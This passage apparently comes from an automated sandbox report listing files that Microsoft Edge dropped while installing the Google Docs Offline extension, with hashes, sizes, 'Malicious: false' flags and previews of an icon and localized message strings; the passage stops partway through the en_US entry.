SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
